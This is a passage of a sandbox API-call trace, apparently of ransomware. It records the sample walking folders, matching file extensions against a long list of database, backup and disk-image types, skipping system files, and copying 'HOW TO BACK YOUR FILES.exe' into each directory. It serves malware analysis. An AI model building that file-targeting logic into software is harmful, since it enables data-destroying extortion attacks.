	[0038.613] lstrcmpiW (lpString1="txt", lpString2="udb") returned -1
	[0038.613] lstrlenW (lpString="udl") returned 3
	[0038.613] lstrcmpiW (lpString1="txt", lpString2="udl") returned -1
	[0038.613] lstrlenW (lpString="usr") returned 3
	[0038.613] lstrcmpiW (lpString1="txt", lpString2="usr") returned -1
	[0038.613] lstrlenW (lpString="v12") returned 3
	[0038.613] lstrcmpiW (lpString1="txt", lpString2="v12") returned -1
	[0038.613] lstrlenW (lpString="vis") returned 3
	[0038.613] lstrcmpiW (lpString1="txt", lpString2="vis") returned -1
	[0038.613] lstrlenW (lpString="vpd") returned 3
	[0038.613] lstrcmpiW (lpString1="txt", lpString2="vpd") returned -1
	[0038.614] lstrlenW (lpString="vvv") returned 3
	[0038.614] lstrcmpiW (lpString1="txt", lpString2="vvv") returned -1
	[0038.614] lstrlenW (lpString="wdb") returned 3
	[0038.614] lstrcmpiW (lpString1="txt", lpString2="wdb") returned -1
	[0038.614] lstrlenW (lpString="wmdb") returned 4
	[0038.614] lstrcmpiW (lpString1=".txt", lpString2="wmdb") returned -1
	[0038.614] lstrlenW (lpString="wrk") returned 3
	[0038.614] lstrcmpiW (lpString1="txt", lpString2="wrk") returned -1
	[0038.614] lstrlenW (lpString="xdb") returned 3
	[0038.614] lstrcmpiW (lpString1="txt", lpString2="xdb") returned -1
	[0038.614] lstrlenW (lpString="xld") returned 3
	[0038.614] lstrcmpiW (lpString1="txt", lpString2="xld") returned -1
	[0038.614] lstrlenW (lpString="xmlff") returned 5
	[0038.614] lstrcmpiW (lpString1="g.txt", lpString2="xmlff") returned -1
	[0038.614] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2eff9150, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2eff9150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0038.614] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0038.614] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2eff9150, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2eff9150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0038.614] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0038.614] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ad0
	[0038.614] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache"
	[0038.614] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0038.614] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0038.614] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache") returned 52
	[0038.614] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache"
	[0038.614] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.614] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.622] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.622] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f20e490, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f20e490, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca450
	[0038.622] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.622] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.622] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0038.622] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f20e490, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f20e490, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0038.622] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.622] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0038.622] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0038.622] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0038.622] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1NBUR4HR", cAlternateFileName="")) returned 1
	[0038.622] lstrcmpiW (lpString1="1NBUR4HR", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.622] lstrcmpiW (lpString1="1NBUR4HR", lpString2="Apollon865.txt.exe") returned -1
	[0038.622] lstrcmpiW (lpString1="1NBUR4HR", lpString2=".") returned 1
	[0038.622] lstrcmpiW (lpString1="1NBUR4HR", lpString2="..") returned 1
	[0038.622] lstrcmpiW (lpString1="1NBUR4HR", lpString2="windows") returned -1
	[0038.622] lstrcmpiW (lpString1="1NBUR4HR", lpString2="bootmgr") returned -1
	[0038.622] lstrcmpiW (lpString1="1NBUR4HR", lpString2="temp") returned -1
	[0038.622] lstrcmpiW (lpString1="1NBUR4HR", lpString2="pagefile.sys") returned -1
	[0038.622] lstrcmpiW (lpString1="1NBUR4HR", lpString2="boot") returned -1
	[0038.622] lstrcmpiW (lpString1="1NBUR4HR", lpString2="ids.txt") returned -1
	[0038.622] lstrcmpiW (lpString1="1NBUR4HR", lpString2="ntuser.dat") returned -1
	[0038.622] lstrcmpiW (lpString1="1NBUR4HR", lpString2="perflogs") returned -1
	[0038.622] lstrcmpiW (lpString1="1NBUR4HR", lpString2="MSBuild") returned -1
	[0038.622] lstrlenW (lpString="1NBUR4HR") returned 8
	[0038.622] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\*") returned 54
	[0038.622] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="1NBUR4HR" | out: lpString1="1NBUR4HR") returned="1NBUR4HR"
	[0038.622] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0038.622] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7c) returned 0x5bf568
	[0038.622] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0038.623] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6ASVN7J7", cAlternateFileName="")) returned 1
	[0038.623] lstrcmpiW (lpString1="6ASVN7J7", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.623] lstrcmpiW (lpString1="6ASVN7J7", lpString2="Apollon865.txt.exe") returned -1
	[0038.623] lstrcmpiW (lpString1="6ASVN7J7", lpString2=".") returned 1
	[0038.623] lstrcmpiW (lpString1="6ASVN7J7", lpString2="..") returned 1
	[0038.623] lstrcmpiW (lpString1="6ASVN7J7", lpString2="windows") returned -1
	[0038.623] lstrcmpiW (lpString1="6ASVN7J7", lpString2="bootmgr") returned -1
	[0038.623] lstrcmpiW (lpString1="6ASVN7J7", lpString2="temp") returned -1
	[0038.623] lstrcmpiW (lpString1="6ASVN7J7", lpString2="pagefile.sys") returned -1
	[0038.623] lstrcmpiW (lpString1="6ASVN7J7", lpString2="boot") returned -1
	[0038.623] lstrcmpiW (lpString1="6ASVN7J7", lpString2="ids.txt") returned -1
	[0038.623] lstrcmpiW (lpString1="6ASVN7J7", lpString2="ntuser.dat") returned -1
	[0038.623] lstrcmpiW (lpString1="6ASVN7J7", lpString2="perflogs") returned -1
	[0038.623] lstrcmpiW (lpString1="6ASVN7J7", lpString2="MSBuild") returned -1
	[0038.623] lstrlenW (lpString="6ASVN7J7") returned 8
	[0038.623] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR") returned 61
	[0038.623] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="6ASVN7J7" | out: lpString1="6ASVN7J7") returned="6ASVN7J7"
	[0038.623] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0038.623] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7c) returned 0x5bf898
	[0038.623] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7c30
	[0038.623] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D68G7BIJ", cAlternateFileName="")) returned 1
	[0038.623] lstrcmpiW (lpString1="D68G7BIJ", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.623] lstrcmpiW (lpString1="D68G7BIJ", lpString2="Apollon865.txt.exe") returned 1
	[0038.623] lstrcmpiW (lpString1="D68G7BIJ", lpString2=".") returned 1
	[0038.623] lstrcmpiW (lpString1="D68G7BIJ", lpString2="..") returned 1
	[0038.623] lstrcmpiW (lpString1="D68G7BIJ", lpString2="windows") returned -1
	[0038.623] lstrcmpiW (lpString1="D68G7BIJ", lpString2="bootmgr") returned 1
	[0038.623] lstrcmpiW (lpString1="D68G7BIJ", lpString2="temp") returned -1
	[0038.623] lstrcmpiW (lpString1="D68G7BIJ", lpString2="pagefile.sys") returned -1
	[0038.623] lstrcmpiW (lpString1="D68G7BIJ", lpString2="boot") returned 1
	[0038.623] lstrcmpiW (lpString1="D68G7BIJ", lpString2="ids.txt") returned -1
	[0038.623] lstrcmpiW (lpString1="D68G7BIJ", lpString2="ntuser.dat") returned -1
	[0038.623] lstrcmpiW (lpString1="D68G7BIJ", lpString2="perflogs") returned -1
	[0038.623] lstrcmpiW (lpString1="D68G7BIJ", lpString2="MSBuild") returned -1
	[0038.623] lstrlenW (lpString="D68G7BIJ") returned 8
	[0038.623] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7") returned 61
	[0038.623] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="D68G7BIJ" | out: lpString1="D68G7BIJ") returned="D68G7BIJ"
	[0038.624] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0038.624] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7c) returned 0x5bf4e0
	[0038.624] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7ad0
	[0038.624] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe9e3d85, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0038.624] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.624] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0038.624] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0038.624] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0038.624] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0038.624] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0038.624] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0038.624] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0038.624] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0038.624] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0038.624] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0038.624] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0038.624] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0038.624] lstrlenW (lpString="desktop.ini") returned 11
	[0038.624] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ") returned 61
	[0038.624] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0038.624] lstrlenW (lpString="desktop.ini") returned 11
	[0038.624] lstrlenW (lpString="Apollon865") returned 10
	[0038.624] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0038.624] lstrlenW (lpString=".dll") returned 4
	[0038.624] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0038.624] lstrlenW (lpString=".lnk") returned 4
	[0038.624] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0038.624] lstrlenW (lpString=".ini") returned 4
	[0038.624] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0038.624] lstrlenW (lpString=".sys") returned 4
	[0038.624] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0038.624] lstrlenW (lpString="desktop.ini") returned 11
	[0038.624] lstrlenW (lpString="bak") returned 3
	[0038.624] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0038.624] lstrlenW (lpString="ba_") returned 3
	[0038.624] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0038.624] lstrlenW (lpString="dbb") returned 3
	[0038.625] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0038.625] lstrlenW (lpString="vmdk") returned 4
	[0038.625] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0038.625] lstrlenW (lpString="rar") returned 3
	[0038.625] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0038.625] lstrlenW (lpString="zip") returned 3
	[0038.625] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0038.625] lstrlenW (lpString="tgz") returned 3
	[0038.625] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0038.625] lstrlenW (lpString="vbox") returned 4
	[0038.625] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0038.625] lstrlenW (lpString="vdi") returned 3
	[0038.625] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0038.625] lstrlenW (lpString="vhd") returned 3
	[0038.625] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0038.625] lstrlenW (lpString="vhdx") returned 4
	[0038.625] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0038.625] lstrlenW (lpString="avhd") returned 4
	[0038.625] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0038.625] lstrlenW (lpString="db") returned 2
	[0038.625] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0038.625] lstrlenW (lpString="db2") returned 3
	[0038.625] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0038.625] lstrlenW (lpString="db3") returned 3
	[0038.625] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0038.625] lstrlenW (lpString="dbf") returned 3
	[0038.625] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0038.625] lstrlenW (lpString="mdf") returned 3
	[0038.625] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0038.625] lstrlenW (lpString="mdb") returned 3
	[0038.625] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0038.625] lstrlenW (lpString="sql") returned 3
	[0038.625] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0038.625] lstrlenW (lpString="sqlite") returned 6
	[0038.625] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0038.625] lstrlenW (lpString="sqlite3") returned 7
	[0038.625] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0038.626] lstrlenW (lpString="sqlitedb") returned 8
	[0038.626] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0038.626] lstrlenW (lpString="xml") returned 3
	[0038.626] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0038.626] lstrlenW (lpString="$er") returned 3
	[0038.626] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0038.626] lstrlenW (lpString="4dd") returned 3
	[0038.626] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0038.626] lstrlenW (lpString="4dl") returned 3
	[0038.626] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0038.626] lstrlenW (lpString="^^^") returned 3
	[0038.626] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0038.626] lstrlenW (lpString="abs") returned 3
	[0038.626] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0038.626] lstrlenW (lpString="abx") returned 3
	[0038.626] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0038.626] lstrlenW (lpString="accdb") returned 5
	[0038.626] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0038.626] lstrlenW (lpString="accdc") returned 5
	[0038.626] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0038.626] lstrlenW (lpString="accde") returned 5
	[0038.626] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0038.626] lstrlenW (lpString="accdr") returned 5
	[0038.626] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0038.626] lstrlenW (lpString="accdt") returned 5
	[0038.626] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0038.626] lstrlenW (lpString="accdw") returned 5
	[0038.626] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0038.626] lstrlenW (lpString="accft") returned 5
	[0038.626] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0038.626] lstrlenW (lpString="adb") returned 3
	[0038.626] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0038.626] lstrlenW (lpString="adb") returned 3
	[0038.626] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0038.626] lstrlenW (lpString="ade") returned 3
	[0038.627] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0038.627] lstrlenW (lpString="adf") returned 3
	[0038.627] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0038.627] lstrlenW (lpString="adn") returned 3
	[0038.627] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0038.627] lstrlenW (lpString="adp") returned 3
	[0038.627] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0038.627] lstrlenW (lpString="alf") returned 3
	[0038.627] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0038.627] lstrlenW (lpString="ask") returned 3
	[0038.627] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0038.627] lstrlenW (lpString="btr") returned 3
	[0038.627] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0038.627] lstrlenW (lpString="cat") returned 3
	[0038.627] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0038.627] lstrlenW (lpString="cdb") returned 3
	[0038.627] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0038.627] lstrlenW (lpString="ckp") returned 3
	[0038.627] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0038.627] lstrlenW (lpString="cma") returned 3
	[0038.627] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0038.627] lstrlenW (lpString="cpd") returned 3
	[0038.627] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0038.627] lstrlenW (lpString="dacpac") returned 6
	[0038.627] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0038.627] lstrlenW (lpString="dad") returned 3
	[0038.627] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0038.627] lstrlenW (lpString="dadiagrams") returned 10
	[0038.627] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0038.627] lstrlenW (lpString="daschema") returned 8
	[0038.627] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0038.627] lstrlenW (lpString="db-journal") returned 10
	[0038.627] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0038.627] lstrlenW (lpString="db-shm") returned 6
	[0038.627] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0038.627] lstrlenW (lpString="db-wal") returned 6
	[0038.627] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0038.627] lstrlenW (lpString="dbc") returned 3
	[0038.627] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0038.628] lstrlenW (lpString="dbs") returned 3
	[0038.628] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0038.628] lstrlenW (lpString="dbt") returned 3
	[0038.628] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0038.628] lstrlenW (lpString="dbv") returned 3
	[0038.628] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0038.628] lstrlenW (lpString="dbx") returned 3
	[0038.628] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0038.628] lstrlenW (lpString="dcb") returned 3
	[0038.628] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0038.628] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0038.628] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="index.dat" | out: lpString1="index.dat") returned="index.dat"
	[0038.628] lstrlenW (lpString="index.dat") returned 9
	[0038.628] lstrlenW (lpString="Apollon865") returned 10
	[0038.628] lstrlenW (lpString=".dll") returned 4
	[0038.628] lstrcmpiW (lpString1="index.dat", lpString2=".dll") returned 1
	[0038.628] lstrlenW (lpString=".lnk") returned 4
	[0038.628] lstrcmpiW (lpString1="index.dat", lpString2=".lnk") returned 1
	[0038.628] lstrlenW (lpString=".ini") returned 4
	[0038.628] lstrcmpiW (lpString1="index.dat", lpString2=".ini") returned 1
	[0038.628] lstrlenW (lpString=".sys") returned 4
	[0038.628] lstrcmpiW (lpString1="index.dat", lpString2=".sys") returned 1
	[0038.628] lstrlenW (lpString="index.dat") returned 9
	[0038.628] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="KQMHSVKD" | out: lpString1="KQMHSVKD") returned="KQMHSVKD"
	[0038.628] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0038.628] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7c) returned 0x5bf788
	[0038.628] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7c50
	[0038.628] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KQMHSVKD", cAlternateFileName="")) returned 0
	[0038.628] FindClose (in: hFindFile=0x5ca450 | out: hFindFile=0x5ca450) returned 1
	[0038.629] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7af0
	[0038.629] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD"
	[0038.629] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0038.629] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0038.629] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD") returned 61
	[0038.629] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD"
	[0038.629] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
